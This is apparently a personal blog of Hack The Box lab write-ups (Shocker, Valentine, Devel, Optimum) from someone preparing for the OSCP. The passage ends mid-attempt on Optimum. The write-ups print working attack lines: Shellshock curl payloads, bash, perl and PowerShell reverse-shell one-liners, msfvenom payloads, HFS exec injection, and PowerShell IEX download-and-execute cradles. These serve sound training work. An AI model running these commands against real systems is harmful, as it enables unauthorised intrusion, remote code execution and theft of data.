HTB- Shocker

Here we are, another box from the OSCP prep list by TJNull. 

This box is Shocker and we are going to start by running a quick nmap.

sudo nmap -Pn -vv

We have 2 open ports:

  • 80 – HTTP
  • 2222 – Unknown

Let’s run a more involved nmap scan:

sudo nmap -sC -sV -O -oA nmap/fuller -p 80,2222 -vv

We get some results:

So port 2222 is ssh. It’s OpenSSH 7.2. We also get some information disclosure with the keys, so we are probably looking for a ssh key to be able to get into this server.

A quick searchsploit shows there is a Username Enumeration exploit we can try later on:

OpenSSH 7.2p2 - Username Enumeration | exploits/linux/remote/

Firstly, lets check the webserver.

It’s short, it’s sweet:

We will get a gobuster running here.

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Not many results there.

While it’s running, let’s do a full port scan!

No new ports found. Let’s also do a UDP scan

sudo nmap -sU -p- -oA nmap/UDP -vv

Our gobuster has finished and we have nothing. We also don’t have much on these nmap scans.

I think there might be a clue in the picture. Maybe some stego. I see “Don’t bug me” as a command, so what we need to do is “bug” it.

First we need to install steghide if not already installed.

sudo apt-get install steghide

Then we want to extract the data

steghide extract -sf bug.jpg -p bug

Trying a few different passwords:

We get nowhere!

There is a steghide brute-forcer which we can try!

Annoyingly, we get python errors!

Traceback (most recent call last):
File "", line 4, in <module>
from progressbar import ProgressBar, Percentage, Bar
ImportError: No module named progressbar


The progressbar module doesn’t exist!

Let’s install that using pip:

sudo pip install progressbar

That’s installed but still doesn’t work.

Right, let’s move on. Our gobuster finished and found nothing. Our UDP nmap has finished with no results.

Gobuster tends to not let me down, but there is so little to go on, let’s take a look at dirbuster.

We use the same wordlist and set it to search for extensions including, php, html, htm, bak, txt

I’ve also set a bonkers gobuster going to include loads of extensions and the wordlist.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x /usr/share/wordlists/dirb/extensions_common.txt -t 50

It’s ridiculous but I want to have something running while I look at the ssh potential exploit.

We copy across the python exploit

searchsploit -m 40136

After a few non-starters we get the help menu!

usage: [-h] [-u USER | -U USERLIST] [-e] [-s] [--bytes BYTES] 
[--samples SAMPLES] [--factor FACTOR] [--trials TRIALS]

positional arguments: 
host Give SSH server address like ip:port or just by ip 

optional arguments: 
-h, --help show this help message and exit 
-u USER, --user USER Give a single user name -U USERLIST, --userlist USERLIST 
Give a file containing a list of users 
-e, --enumerated Only show enumerated users -s, --silent Like -e, but just the user names will be written to
stdout (no banner, no anything) 
--bytes BYTES Send so many BYTES to the SSH daemon as a password --samples SAMPLES Collect so many SAMPLES to calculate a timing baseline 
for authenticating non-existing users 
--factor FACTOR Used to compute the upper timing boundary for user 
--trials TRIALS try to authenticate user X for TRIALS times and 
compare the mean of auth timings against the timing 

So we need to give it the ip:port and a list of users

python -U /usr/share/wordlists/dirb/others/names.txt

This is running through the list:

This is too many failed goes, we are gunna lose any greens. Instead we pipe it into a file where we can grep for [+] later on!

So we have our tools running, I guess it’s coffee time!

Due to piping the python script into a file, we can’t see what it’s going, so a good tool is:

tail -f userenumeration.txt

This tails the file in real time, so you see the live output but it’s still in a file for easy grepping later.

Right, dirbuster is the first to hit. It’s found:


Let’s go have a look! It downloads a shell script. Looking at the file we have:

Just an uptime test script. Seems dubious!

Let’s capture the request in burp and see if we can do anything. It’s just a GET request for the file, not sure what I can do here!

A quick google of “exploiting a sh file on a webserver” brings back a thing called “shellshocked”. This ties in with a) what we have and b) the machine name!

Let’s do some more reading on shellshocked and we should be able to effectively get a limited shell via this file!

So the PoC shows using curl to get files, let’s try it:

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

Did it work?

Of course it did!

I am genuinely shocked, that’s absolutly bonkers to work. So it adds in some HTML to do the request.

Well let’s be honest, we know where the user flag will be!

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /home/shelly/user.txt "

Boom, user flag!

Now, our nmaps earlier showed information leakage regarding ssh keys, so I wonder if the keys are around anywhere. It would be good if we could do a ls.


curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/ls -al /home/shelly "

We can!

That’s cool, however there is no .ssh folder which I thought there might be due to the ssh keys we saw earlier.

So, let’s try and get a reverse shell. We can just use nc through our limited shell right?

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/nc 9001 "

Unfortuantely it dies straight away.

Pentestmonkeys reverse shell cheat sheet has a bash reverse shell we can try which should be more persistent.

curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/bash -i >& /dev/tcp/ 0>&1 "

Boom! Amazing! We are in!

(also proof that I got the user flag!)

Let’s move LinEnum across to the box. Hosting it on a python webserver:

python -m SimpleHTTPServer 9002

Then downloading it on the box


Running that, we get all the results.

Looks like shelly is part of a lot of groups!

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

We also check sudo -l to see if we have any sudo priviledges and we do:

shelly@Shocker:/tmp$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl

So we can run perl as root!

Let’s create a perl reverse shell script! Luckily pentestmonkey has one!

In fact it’s just a command, so we can just use this off the bat.

sudo -u root /usr/bin/perl -e 'use Socket;$i="";$p=9009;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

We start our listener and boom, connection!

Are we, root?

We are indeed and there is the flag!

You might be thinking, you got that priv esc very easily and quickly, did you cheat?

I did not. I did however do the box Bashed yesterday which also uses sudo -l as a privesc, so I now check for it every time!

All good. Winner!

Root celebration time!

Also I realised my username enumeration script was still running. It hadn’t found shelly yet!

HTB – Valentine

Here we go, next on the OSCP prep HTB retired boxes train!

Remember our motto: “Knowing stuff is cool, but learning just takes longer!”

It makes no sense, I don’t care. Anyway, Valentine!

Nmap: I choose you!

As always, start with an initial quick scan:

sudo nmap -Pn -oA nmap/initial -vv

We get 3 ports back:

  • 22 – SSH
  • 80 – HTTP
  • 443 – HTTPS

Let’s get a more detailed scan running:

sudo nmap -sC -sV -O -oA nmap/full -p 22,80,443 -vv

While that’s running, let’s go check out the 2 web servers.

Ok Port 80 has a cool picture

An image on it’s own always make me think stego. So let’s keep that in the back of our minds as we carry on.

The website on port 443 is, the exact same!

So let’s run some gobustering on these!

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k

The extra -k flag on the HTTPS is for skip certificate check.

Let’s leave those running as our nmap has finished it’s more detailed scan:

So there are a whole bunch of certs and RSA keys. This is a lot of information leakage that should really be sorted! They will all be public keys, so nothing of too much use other than the fact we are probably looking for a private key rather than a password to be able to ssh in.

We also see that the ssl certificate has the commonname of valentine.htb. Adding that to the hosts file and checking the site brings back the same thing. No virtual host routing for us here.

So, gobuster has done it’s thing and found some stuffs. It’s all the same for both http & https, which is slightly odd.

Let’s go look at some of these files.

Within the dev folder, we have a couple of files. There is a notes.txt file:

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

These are good clues to the encode/decode if a directory enumeration didn’t work.

Also coffee, good idea!

Hype key is slightly more exciting, we get a load of hex:

I don’t personally read hex off the bat, so I might need to work this out!

Let’s carry on and see if decode is anything useful.

So over at /encode/ we have an input box:

Putting in hello in the box gives us:

Your input:
Your encoded input:

So our input it being converted to base64 (trust me, I checked).

If we use the decoder to decode that:

We get:

Your input:


Your encoded input:


So a simple straightforward base64 encoder and decoder.

I’m not going to lie I was expecting different.

Let’s go back and take that hex from the file, copy it into a local file. Let’s use the built in tool xxd to convert it to strings.

cat hex.txt | xxd -r -p > nohex.txt

We get an RSA private key!

Hopefully we can use this for ssh methods. Although we don’t know a username….

Let’s try it with root anyway, just in case.

First we need to change the permissions of the key

chmod 600 key

Then try to ssh in:

ssh -i key

Asked for a passphrase. Not what I was expecting but also not fully surprised there are more steps to this!

I think this is where the encoder/decoder comes in. The encoder is php, so can we get it to run a system command after our input?

Capturing the POST request in Burp we get:

Let’s ping this over to repeater and try some stuffs!

So PHP command injection is what we need here. There is a pretty good cheat sheet we can take some ideas from.

Running through these with whoami into the encoder, then going through the decoder to see if we get a different answer at any point is the plan.

I thought I might have had a breakthrough with:

text=hello & whoami

As only the hello came back. Whereas everything else saw the whole thing as text. However, it didn’t seem to do what I needed. Similar with having 2 &&s. I also though a null byte would be good (%00) however that didn’t work.

We need a new attack vector. SSH is the only other port we have.

Our nmap scan earlier found out the version: OpenSSH 5.9p1 Debian 5ubuntu1.10

A google of that, brings up a lot of walkthroughs to this box, so I think I’m on the right lines here!

Let’s avoid those and carry on. It looks like this version of ssh is vulnerable to the heartbleed vulnerability.

A bit more clever googling than normal to avoid the spoilers, gets us to some github pages with scripts to run the exploit, the one I used was here:

Downloading the script and running it, we need to give it the server, we then get a result!

You see at the bottom, that’s some base64. What the that going to say?

Decoding it on my local box, we get “heartbleedbelievethehype”

Let’s just check the decoder gives the same answer.

It does. That’s good!

Ok, maybe that’s the password we need? or part of that is the username?

So it looks to take the password for the key. Then asks for our password, so I think this is the ssh key password. We just need to find the right user.

We have no other clues for that as of yet. It’s worth trying the same thing, so:

ssh -i key heartbleedbelievethehype@

It’s clanky and long. Unlikely, but *shrug*

It didn’t work. As expected, the password is right though, as I copied the wrong thing first and got re-prompted for the password.

Let’s try single words, starting at the end.

That got me in. That’s very odd! I didn’t really expect that to work, but I couldn’t find anything else.

I would have thought a whoami command on the encoder/decoder would have been better. This was pure guess & lack of other things to try.

Anyway, we are in!

Annnd, there is the user flag! Excellent!

Let’s get LinEnum over as a first step!

Start up a python HTTP Server on my local box:

python -m SimpleHTTPServer 9001

Then on the box, let’s download it.


Give it permission to execute and


Watch it do!

This script always gives good info.

To start with:

[-] Specific release information:

We know that 12.04 is vulnerable to dirtycow/dirtycow2 but we are going to try and avoid that route!

Group membership and SUID files can be interesting.

The hyper user is part of:

uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)

A SUID file has:

-rwsr-xr-- 1 root dip 325744 Feb 4 2011 /usr/sbin/pppd

This could be something we can execute due to being part of the dip group.

Also to investigate:

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 62400 Jul 28 2011 /usr/bin/mtr

The other super interesting part, is there is some bash_history in the hype directory.
It’s not much but it might be enough to give us a clue:

[-] Location and contents (if accessible) of .bash_history file(s):

ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess 
tmux a -t dev_sess 
tmux --help
tmux -S /.devs/dev_sess 

I think as a starter, we will do look in .devs.

That is not something I would have quickly found without that bash history!

dev_sess is a socket. I’ve not come across one of those before.

From the linux guide:

socket - create an endpoint for communication

The manpage has a whole heap of information. However, the program “socket” which is used to create the connections isn’t installed. So maybe this is an absolute rabbit hole?

There is an exploit called dirtysock which is similar to the socket route. There is a check to see if the system is vulnerable:

snap version

However, snap is not found as a command. Bugger!

The other interesting thing in the bash_history is the fact it was done with tmux. Is there a tmux issue we can exploit?

A quick look brings up a few resources.

Firstly, we need to see if root is running tmux at all.

ps aux -u root | grep tmux


Looks like ID 1013 is what we need.

I just realised, that guide is exactly for this box, without mentioning this box. That’s annoying!

Anyway, looking at the tmux guide, we need -S which is the “socket-path” So we are going to connect to the socket using tmux.

tmux -S /.devs/dev_sess


So I was close from the off, using that bash history to see the socket issue. I should have also clocked tmux but I know now this is a really useful flag for the future!

Therefore, root dance!


So post root. I looked at some guides and most people seemed to use dirtycow. So shall we have a go at that too!

We did this as part of Lampino the vulnhub box, so let’s check that out!

Getting the exploit code from exploit-db.

Copy that into a file on the target machine. We then need to compile it:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

Unfortunately g++ isn’t installed on the box. So let’s compile it on our local machine.

So on my local machine I have a dcow executable, let’s get this across using our python simpleHTTPServer.

Running that on the box and we get an error:

hype@Valentine:/tmp$ ./dcow 
./dcow: /usr/lib/x86_64-linux-gnu/ version `GLIBCXX_3.4.20' not found (required by ./dcow)
./dcow: /usr/lib/x86_64-linux-gnu/ version `GLIBCXX_3.4.21' not found (required by ./dcow)
./dcow: /usr/lib/x86_64-linux-gnu/ version `GLIBCXX_3.4.22' not found (required by ./dcow)


Let’s try a different method of dirtycow. We can get source code from github.

We compile this one with:

gcc -pthread dirty.c -o dirty -lcrypt

We now have a dirty executable.

Running the exploit, we get prompted for a new password, we use hello as always.

Then the script seems to hang…

Looking at some reviews, this appears to be normal. The advice is “run it a few times”. This is crazy messy, but there there you go!

I got bored of waiting for the exploit but could su anyway, so it obviously worked.

That was dirty, we got root in 2 different methods. The actual planned way was simpler and more straight forward, but always good to have a backup and be able to exploit lack of patching!

Anyway, see further up for my root dance!



HTB – Devel

Ok, carrying on with TJNull’s OSCP prep list. This time we are going to have a go at Devel.

As always, let’s start off with a quick nmap scan:

sudo nmap -Pn -oA nmap/initial -vv

2 ports open:

  • 21 – FTP
  • 80 – HTTP

Let’s get a more involved nmap scan going:

sudo nmap -sC -sV -O -oA nmap/full -vv

While that’s running, let’s check out the webpage.

The webpage is an IIS7 splash page!

Let’s get a gobuster running on this and see if there is anything fun hiding here.

The second nmap has some exciting finds:

Looks like FTP is exposed. I wonder if any of those pages are there.
Let’s check out sm.png

It is there, so looks like we can upload stuff to the FTP and access it directly.

As it’s windows, we can’t  use our normal PHP reverse shell script. Let’s take a look at creating a aspx page with msvenom.

Before we do that, let’s just confirm we can connect and upload files to the FTP.

Login looks good. Let’s try to put something up there.


Looks like we can’t put files on the remote server. That seemed odd, so I tried again after changing directory to where my upload file is:

I can put a file there. Let’s go see in the web-browser if that’s there.

It does. So we now just need to create a reverse shell script.

A quick google gives me a msfvenom cheat sheet and the command is:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=1234 -f asp > shell.asp

Running that, it does it’s thing, and we have a shell.asp file!

Let’s get that uploaded and a netcat listener on port 1234.

As there was already a shell.aspx on the server. I’ve renamed mine to yekki.asp.

Uploading it worked well:

Going to the webpage. We get a 500 error, that’s no good! Maybe a .asp isn’t enough then!

Let’s see what windows reverse shells we can get that would work.

We can try a aspx.

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9005 -f aspx -o shell.aspx

This time we have also changed the port, just in case 1234 is in use.

We put the file up onto the FTP server.

Bingo. Our nc gets a callback.

However, we never quite get a shell. Let’s set up a meterpreter listener instead.

Open up msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

Set the LHOST and LPORT you set earlier.


Going to the aspx website. We get a ping back on our meterpreter shell


A quick hunt and there are a few user areas:

Trying to go into babis or administrator and we get access denied.

Looks like we will have to priv esc before we get any flags!

Looking at systeminfo we see that the box is Windows 7 with no hotfixes applied:

We need to up our privileges. Let’s use the built in exploit suggester in meterpreter:

To get out of the shell use:


Then to get back to msf:


For the exploit suggester we use:

use post/multi/recon/local_exploit_suggester

Show the options and set the session to the relevant number, in our case it’s 3.

Run the exploit ad we get some results

There are a whole bunch here. I don’t know much about any of them, so time for some googling!

Let’s start at the top of the list and try with ms10_092_schelevator.

Running the exploit showed something funny:

It’s using the wrong IP. It needs to be my HTB VPN ip of

It was easy enough to fix, just needed to tweak the meterpreter/reverse_tcp options.

Still, no dice!

Let’s move on and try the next exploit.

Just like that, we are running as system!

This was cool, I rarely use meterpreter as I’m worried about dependency on it before the OSCP exam. However it’s good to learn and get used to using.

In the real world tests, a shells a shell. Doesn’t matter if you battled for an hour to tweak a powershell module, or used meterpreter tools!

And with the last couple of commands (and a bit of a hot mess in the middle).

Root and User serious faces!


HTB – Optimum

Another box in OSCP prep, Optimum.

This box is a windows box and I am terrible at Windows priv esc, so should be…. interesting!

Let’s start off as usual with a quick nmap scan:

sudo nmap -Pn -oA nmap/firstscan -vv

We get 1 result, port 80:

Let’s start a fuller scan while we investigate the HTTP server:

sudo nmap -sC -O -p- -oA nmap/fullerscan -vv

The HTTP server has a basic looking webpage:

While we do manual enumeration here, let’s get gobuster running in the background:

sudo gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 15

Looking at the webpage, we have a few interesting buttons. The search button, the Archive and Get List buttons.

However before we do any of those, we know this is httpFileServer2.3, let’s do a searchsploit for that.

The result is empty.

As we are going to be doing some web-appy stuff. Let’s load up Burp Suite and proxy all our traffic through there.

Let’s start with the search, can we do any directory traversal?

We cannot. The next step, is can be do any SQL Injection. As Kali only has burp community, it doesn’t have the decent intruder with the lists for SQLi. So instead, i’ll quickly run it through sqlmap:

sqlmap -u

Result of:

[14:23:12] [WARNING] GET parameter 'search' does not seem to be injectable

Never mind. Ok,

The next step, Get List:

This produces the request:

GET /?tpl=list&folders-filter=\&recursive HTTP/1.1 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Cookie: HFS_SID=0.574280694592744 
Connection: close 
Upgrade-Insecure-Requests: 1 
Pragma: no-cache 
Cache-Control: no-cache 

So that’s quite interesting, it’s doing something on a folder-filter and is recursive.

In the meantime, our fuller nmap scan still only shows port 80 open. It also estimates the box to be Windows Server 2012 or 2012 R2. This might be useful later.

What this also means is the directory traversal attempt from earlier was really dumb! Trying again with C:\Windows brings the same result though!

After a while of poking, attempting various SQLi at each user input I don’t appear to be getting anywhere.

The last part is back on the actual application. So we know it’s HTTPFileServer2.3 if we click the hyperlink it takes us to:

So earlier we did a searchsploit for HTTPFileServer and nothing was found.

Let’s do the same again but for the company name “rejetto”:

There we go!

The problem before I was doing a search for “HTTPFileServer” and “FileServer” I didn’t add in the spaces. Silly!

We know the version is 2.3 so looks like all the exploits should work.

We don’t really want to do this in metasploit, so let’s have a look at the #34668 text file.

searchsploit -x 34668

It’s short & sweet

So it looks like, we can add a null byte in the search field and try command injection.

Now my windows commands are pretty poor, so i’ll do them twice, once on my windows base then on there using repeater function of Burp.

First off, let’s try:


I’ve checked it on a cmd and it works, gives me the answer.

However trying it on the webserver, brings back nothing.

I tried a few different ideas:{.whoami}

Nothing. Let’s take a look at the python file on searchsploit. This script should give a shell.

Copying it into our home directory:

searchsploit -m

Edit the script to add in your local IP and Port.

Well the script runs. It doesn’t give me a reverse shell though!

The exploits appear quite simple. They basically use a few commands:



They are using the exec feature which executes a file on the local computer. So first step, save the exploit. Second step run it.

The difficult thing is it looks like the commands are being executed but not being fed back to the website. So at first I thought it wasn’t running, but it might be.

Let’s quickly jump into msfconsole and see if it works. Then we will try again without using it:

Within ~4 commands, we have a shell:

A couple more commands (once I realised it wasn’t file or read) we have the user flag.

So it does work. The script creates a file in %TEMP%. Looking in there, the script has gone as it obviously tidies up after itself. Which is good, now let’s try this manually!

During our searchsploit earlier, we copied across, we are going to use this so when trying to run it with python, it runs through but doesn’t connect back.

So let’s look at this script. We have set it to come back on port 9001, maybe it’s  bad port? Trying on port 443 ends with the same result.

The comments in the code mention:

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe). 
# You may need to run it multiple times for success!

Well I wouldn’t think the Windows box has netcat.

I ran it multiple times just in case and still no luck. So we can’t use this script!

What we need to do before all of this, is check we can properly send commands, right. I actually watched the ippsec video for this bit.

As we realised earlier, the output won’t be displayed on the screen, so how do we know anything is working? Well, let’s get tcpdump running on the tun0 interface:

sudo tcpdump -i tun0

Then we can run the exec command and ping us, we should see this working. It will also help us find out which command structure is right.

So we go to repeater and set up our search as:

GET /?search=%00{exec|ping}

I then got excited as tcpdump went a bit mental, but this was only the HTTP requests.


So that’s not the proper formatting. Let’s keep trying

GET /?search=%00{.exec|.ping}

Same few bits of traffic. No dice.

Let’s do a quick google of possible commands we come across this page. Which tells us exactly how to use exec.

So a fullstop at the start and the end:

GET /?search=%00{.exec|ping}

It still looks the same as previously. Maybe all along we were getting pinged and I thought it was just HTTP traffic, but I don’t think so! However ippsec seems to think it worked.

Let’s park that, but if anyone can comment or hit me up on twitter that would be good, as I am baffled!

I’ll watch the rest of ippsecs video afterwards, to see if there is any explanation!

Anyway moving on. Normally with Linux we use bash 1 liner or python 1 liner. We can’t here on Windows, however there is Nishang.

It has a one liner for powershell!

$client = New-Object System.Net.Sockets.TCPClient('',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Let’s change the IPs and put it in with the exec command!

Our GET request now looks somewhat ridiculous. We have a nc listener on port 4444:

Let’s see if this works!

It did not! So back to ippsecs video.

Ok, he uses Nishang but a bit more in detail. He clones the git repo and takes the Invoke-PowershellTcp.ps1 file.
At the bottom of the script adds in the command:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

Then from there we host that file using a python HTTPServer:

python -m SimpleHTTPServer

Then we can exec on the command to download and execute that script. The powershell we need for this is:

powershell IEX(New-Object Net.WebClient).downloadString('')

This then doesn’t work until you URL encode it. Which results in a GET request of:

GET /?search=%00{.exec|powershell+IEX(New-Object+Net.WebClient).downloadString('http%3a//').}

Running that does nothing. Maybe we need the full powershell path.


We can see our python webserver gets some hits, so the script is running!

Then we have a shell!

Again, we get the user flag!

This felt a much better way to get the user shell. I learnt a lot about how to run things in powershell. Nishang is a tool going into my utility belt, as well as the powershell IEX commands!

Yes, I used ippsecs videos to get to this point, metasploit free. But I did it metasploit free and that is pretty darn rad!

So, we are on the box!

Now what? Root flag!

A quick check, we can’t just get to the Administrator folder.

So I have no idea about Windows Priv Esc as mentioned earlier. Let’s get googling and find out some methods!

It looks like pentestmonkey has a windows priv esc checker:

Let’s download that and see what it comes up with!

So we are hosting that on our box. We need to use that funky powershell command again:

powershell IEX(New-Object Net.WebClient).downloadString('')

The request was made, it was downloaded.

It however doesn’t look like it executed. Let’s download it and save it locally, so we then know we have it and can have a play:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -URI -outfile windows-privesc-check2.exe

That has downloaded. Let’s run it!

I’ve run it and left it running for a while, it doesn’t appear to be doing anything. While that was (not) running I found that rasta-mouse the evil man behind the Rastalabs prolab has created a powershell script called Sherlock.

Again, I got this across to the target.

Trying to run this and nothing happened again. I’m starting to think it’s something to do with me not the scripts.

So I tried setting the powershell execution policy to unrestricted and got a very strange message:

I think it’s because I’m a lower level user, so I can’t set the policy. This might be breaking what’s going on.

So, let’s try 1 more thing. We want to run the function “Find-AllVulns” so let’s add that to the end of our script and do the whole powershell download and run thing again!

IEX(New-Object Net.WebClient).downloadString('')

Aha! For some reason, this time it did work!

I’m assuming this is because I didn’t add in a function to use earlier. Let’s retry it.

Looking at this, the Win32k Elevation of Privilege looks good. Let’s take a look at that first.

We find the code on github . Download it to our local box and add ./MS16-135.ps1 to the end of the script so it executes once it’s downloaded.

Back on the target machine we run:

powershell IEX(New-Object Net.WebClient).downloadString('')

We get an error!

This obviously isn’t great, as it means this script won’t run. However, it does mean that the script is running. So that’s a win!

It’s odd that it’s blaming a ‘)’, if this was linux/python environment I would assume python type. So maybe Powershell type? Is it 32 vs 64 bit?

Let’s change our script to make it run from the 64bit powershell


Well well well, this is interesting!

So our powershell might be wrong?

The machine is 64bit. So let’s try and get a reverse shell that’s 64bit.

So back to our GET request earlier, let’s change that slightly to have:

GET /?search=%00{.exec|C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString('http%3a//').}

Now, let’s re-try getting that script.

This time it ran. So that’s absolute progress!!

Sadly, it did not execute.

I get the feeling this isn’t the right exploit!

Sherlock did give another suggestion, which was the Secondary Logon Handle. Let’s take a closer look at that one!

There is a metasploit module however there is also a powershell script that’s been created.

Taking the powershell script, we add the run command to the bottom and host it up on our python HTTP Server.

Let’s invoke some powershell:

IEX(New-Object Net.WebClient).downloadString('')

Running this, doesn’t do too much!

We need to work out what we need to add to the bottom of the script as the executable.

The whole script runs under the function of “Invoke-MS-032”

Firstly, what does this do. Does it upgrade our current shell, or create a new reverse shell with additional privileges?

It looks like it starts a new process, with system level. So we want it to run and create a new reverse shell.

So at the end of the script, what if we try something like:

InvokeMS16032 nc 9005

(I’ve removed the “-” from the function name, as I find additional characters can just cause issues down the road.)

The idea here, is it will run the function, then the new command it will do is a nc reverse shell to our box.

We set up our listener

nc -nvlp 9005

And off we go!

IEX(New-Object Net.WebClient).downloadString('')

So the script ran and looked to execute properly. Which is great.

However, we didn’t get a shell!

This I feel might be my fault. What could be better, is getting a shell powershell script over there and running that. Rather than banking on nc which might not be installed.

So how about we tweak our Invoke-PowerShellTcp.ps1 script to another port. Try and get it to download and run that! We already have all those commands and know it works!

Copying the file and appending ‘-System’ to the filename. Then at the end of the script we edit it to be:

Invoke-PowerShellTcp-System -Reverse -IPAddress -Port 9005

Going back to our exploit script, we change the end to:

InvokeMS16032 IEX(New-Object Net.WebClient).downloadString('')

Let’s see if we even get a hit and then what happens!

Good news bad news situation.

We got a hit on our new Invoke-PowershellTcp-System script:

However, we are all a bit quiet over here:

Looking back at the PowershellTcp System file. I changed the last line, to include “-System” as that’s the filename. I don’t need that, as the function name hasn’t changed!

Let’s take that out and try this again!

Again, no dice!

This might not be working as that part would be a second thread. The race condition is being used on downloading the file, maybe.

So let’s try getting that script onto the box and just try running it with the exploit.

Invoke-WebRequest -uri -outfile shell.ps1

We now have a local file called shell.ps1.

Let’s re-edit our exploit file to be:

InvokeMS16032 powershell C:\Users\Public\Documents\shell.ps1

That should then ping us on our listening port of 9005!

Every time I cancel my python SimpleHTTPServer to edit the file, and forget to start it. This results in errors and I get confused! Remember to re-start that webserver and retry!

This just doesn’t seem to be working!

Can we do a simple powershell script, to make a file just to check if the theory is working.

The powershell for that is:

New-Item -Path . -Name "testfile1.txt" -ItemType "file" -Value "This is a text string."

As a test, we did that and it worked! Let’s add that with testfile2.txt into our exploit script and we can see if any powershell is being executed. I’ve also added in the path, just to really cover the bases!

InvokeMS16032 New-Item -Path C:\Users\Public\Documents -Name "testfile2.txt" -ItemType "file" -Value "This is a text string."

Let’s run this and see!

Testfile2 is not being created. So something has gone awry! This is really odd as before it was downloading the file. So some powershell was working previously.

Thinking back to our shell script we have. Running that locally (without the exploit) brings back a shell to the right port. So that part is working. It’s just the exploit with invoking that isn’t. It has to be a syntax thing.

I want a reverse shell, so let’s go back to that. On the end of our exploit we have:

InvokeMS16032 IEX(New-Object Net.WebClient).downloadString('')

Now these are 2 separate commands. Do we need to separate them out? A quick search suggests using “;”. Let’s add that in after InvokeMS16032

Let’s run the download!

It all went through and I got a shell!

Bugger! I’m still the wrong user!

So that must be running the first exploit, then running the second separately. We need to make it so one command goes into the next.

I do remember somewhere, maybe using PDQ that we had to add in -command before the actual command. I can’t find much on google about it. But let’s give it a go.

Attempting -command or -Command with and without quotes (scraping the barrel) didn’t seem to make any difference.

Restarting the python webservers, the issue became obvious. The exploit script downloads MS-39719 from port 9001. It doesn’t then however download the Invoke-PowerShellTcp-System.ps1 script off port 8000. If it’s not downloading that, it can’t run it!

Therefore -Command and -command aren’t what we need.

So if we have:

InvokeMS16032 powershell IEX(New-Object Net.WebClient).downloadString('')

Both scripts get downloaded, the second doesn’t get executed. But it does if directly downloaded.

So are we back to a powershell issue, if we try:

InvokeMS16032 C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('')

Again, everything downloaded but no executed. FUUUUUUUUUUUUUUUUUUUUUUU

Current mood:

So let’s go back to what we have on the box, we have this shell.ps1. Can we try that again!

InvokeMS16032 C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\Documents\Shell.ps1

This then takes out a step. It must be easier to do, right?!

It just doesn’t appear to execute! Let’s again try with the whole -command options.

I guess, we need to try it locally, as in does that command work?

I’m already in powershell, so all I should need is:


Let’s try with this!

So far, none of this is working!

I’m great a getting a lower priv shell, with the semi-colon! Which if anything is more infuriating as I know it must be a syntax piping type thing as the fucking thing does do something!

Let’s have a good think about this.

Our script is executing and kind of doing what we expected.

However when run separately, our other scripts are working.

Can we try another exploit script? We know it’s MS16-032 a quick google and there are a few others.
One of which is from the Empire module, which I think it’s one of those C2 type frameworks, basically is just boss.

Let’s grab that one and have a go! What you’ll see is in the description there is a handy guide:


        C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('')"

        Will run the iex download cradle as SYSTEM

So that’s cool, -Command was a thing! Just not a thing for us! There was much less of an example in the previous script.

So we have that, let’s add our bit to the end! (Notice the guide has more dashes then the function name! That’s annoying!

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('')"

Let’s go onto the target and do the command:

IEX(New-Object Net.WebClient).downloadString('')

Fingers are mega crossed at this point!

So, we get an error:

So what this is basically saying is that is can’t add a new cmdlet. As it already knows about Invoke-PowershellTcp.

I wonder if that means I can just do the command without anything else.

If I enter:

Invoke-PowerShellTcp -Reverse -IPAddress -Port 9005

